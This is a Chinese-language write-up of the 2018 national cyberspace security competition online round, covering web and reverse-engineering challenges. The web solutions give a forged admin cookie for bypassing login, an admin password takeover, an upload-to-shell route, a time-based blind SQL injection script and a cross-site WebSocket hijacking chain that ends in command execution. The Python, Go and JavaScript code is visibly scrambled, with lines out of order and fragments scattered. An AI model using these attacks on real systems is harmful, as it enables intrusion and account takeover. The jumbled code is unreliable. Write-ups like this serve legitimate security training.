2018 年(第四届)全国网络空间安全大赛
线上赛解题报告
主办单位:中国兵工学会信息安全与对抗技术专业委员会
承办单位:西安工业大学
协办单位:西安胡门网络技术有限公司
一、Web 题
0x01 签到题
直接获取 flag。
0x02 WEB1
网站只有登录,注册,改密码几个简单功能。注册后登录可以看到提示
通过修改密码处越权改 admin 密码,username 处 base64 的,把 admin 的 base64 填上就可
以。
利用 admin 登陆后,远程地址直接访问 http://127.0.0.1/flag.php 返回保存了 flag 内容的图片,
curl 图片地址得到 Flag。
0x02 WEB2
1.git 泄露拖源码。
2.源码被加密,除 upload.php
第 1 页 共 29 页
此处登录可绕过。cookie 提交
in_adminid=2;in_adminname=test;in_adminpassword=test;in_permission=1,2,3,4,5,6,7,8,9;in_ad
minexpire=b2e9b95b82be9264c3368b3f0de34f08
3.登录后可上传文件,文件会被保存为图片。index 页面文件包含可拿下 shell。
img/文件夹两分钟清空一次,web 服务十分钟重启一次。
4.下载 php_screw.so 解密 flag 文件即可。
0x04 Web3
## 步骤
1. 手机端(或改 ua)打开钓鱼页(也可直接抓包看 js 去,但是钓鱼的前端我们就白伪造了)
2. 抓包看 http 历史,得到 evil js 和真实钓鱼网站
3. 解密 evil js 知道钓鱼思路并获得 des 加密的 key(前端加密数据包)
4. insert 时间盲注钓鱼网站获得 admin 密码即 flag
## Writeup
```python
from Crypto.Cipher import DES
import base64
import requests
def des_ecb_encrypt(key, text):
des = DES.new(key, DES.MODE_ECB)
return des.encrypt(text)
def padding(form):
return form + ("1"*(8-len(form)%8))
第 2 页 共 29 页
def doRequest(payload):
url = "http://127.0.0.1:8001/f701fee85540b78d08cb276d14953d58"
try:
req = requests.post(url,data={"data":payload},timeout=3)
except:
return 1
if __name__ == '__main__':
key = 'MiaoMiao'
flag = ''
for i in range(1,32):
for
'1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_-{}':
payload
1),%d,1))=%d,sleep(5),null)='" % (i,ord(char))
form
"hrUW3PG7mp3RLd3dJu=123456789&LxMzAX2jog9Bpjs07jP=%s&ip="%(payload)
encrypted = base64.b64encode(des_ecb_encrypt(key, padding(form)))
if doRequest(encrypted):
flag += char
print(flag)
break
print(flag)
if(ascii(substr((select password
"a'xor
char
=
from
admin
in
limit
=
0x05 web4
跨站 WebSocket 劫持 CSWSH
## 描述
“grollia 的 websocket 真好用,一句话 `conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req,
ctx.Resp.Header(), 1024, 1024)`就建好了,我也可以搭个 IGo NoteBook 啦!” —— 刚学 Golang
的小明
下面代码给出
```go
type msg struct {
}
func main() {
app := sweetygo.New("./", nil)
app.GET("/ws", ws)
Cmd string `json:"cmd"`
第 3 页 共 29 页
res := exec(m.Cmd)
fmt.Println(res)
if err = conn.WriteJSON(res); err != nil {
}
fmt.Println(err)
break
}
fmt.Println("Error reading json.", err)
break
m := msg{}
err := conn.ReadJSON(&m)
if err != nil {
}
conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req, ctx.Resp.Header(), 1024, 1024)
for {
app.RunServer(":8002")
}
func ws(ctx *sweetygo.Context) {
}
```
## 情景
参考 ipython notebook 的 cve-2014-3429,未验证 origin 存在跨站 websocket 劫持。
博客(跳板机)监听 0.0.0.0:8001,存在存储性 xss;
IGo NoteBook ( websocket 命 令 执 行 ) 监 听 127.0.0.1:8002 , 无 Origin 验 证
(http://www.gorillatoolkit.org/pkg/websocket);
bot 在本机上
## 步骤
1. xss 跳板机
2. 跨站劫持 websocket
3. 执行命令读 flag
## Payload
第 4 页 共 29 页
```javascript
```
flaaaaag.txt"}))};socket.onmessage
=
function(e)
(e)
function
第 5 页 共 29 页
二、Binary 题
0x01 Reverse1
将.pyc 文件转换为.py 文件: uncompyle2 -o reverse.py reverse.pyc
可以得到源码,转换函数如下:
对 flag 进行转换得到一组字符,其 ASC 码分别对应数组 d 中的元素
(部分)
针对源码编写逆推代码,得到 Flag:flag{$h0w_m3_7he_m0ney}
0x02 Reverse2
Creakme 是一道很常规的破解题,输入正确的 flag 就会得到”Well done”的效果。
在输入字符串之后,程序分别调用了 0x804855D 函数和 0x80485D8 函数,然后比较 s1
和 s2 处的字符串是否相等来判断选手是否拿到 flag。先看一眼 s2 字符串,有点像 BASE64
编码,其实 0x804A060 那 64 个字符也暗示了本题和 BASE64 有关。
第 6 页 共 29 页
下面看 0x804855D 函数,它会将输入的字符串中的字符依次相加然后模 37,和
0x8048BC0 处数组中的值进行比较,只有完全匹配成功才能进入下一流程,这是一个附加条
件,光靠这个拿不到 flag。
然后是 0x80485D8 函数,很明显是个排序,就是为了把输入的字符串顺序打乱,可以
忽 略 它 , 看 看 后 面 的 0x8048934 函 数 用 了 什 么 加 密 将 排 序 后 的 字 符 串 变 成 了
‘q3HizxD4s1D2ztLJCZfhwuvoEMLeEgPlEK1imM0ZEM9dmKnyD3H6qurABt0=’,经过分析可知
0x8048934 函数调用 5 次 0x80486A9(置换)和 0x8048729 函数(base64 加密)。就是每次
BASE64 加密之前先将 i+1 和(i+1)*(i+2)字符换个位置,这样加密五次,注意,BASE64
加密的密钥出题人也改了,在解密的时候要注意:
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
第 7 页 共 29 页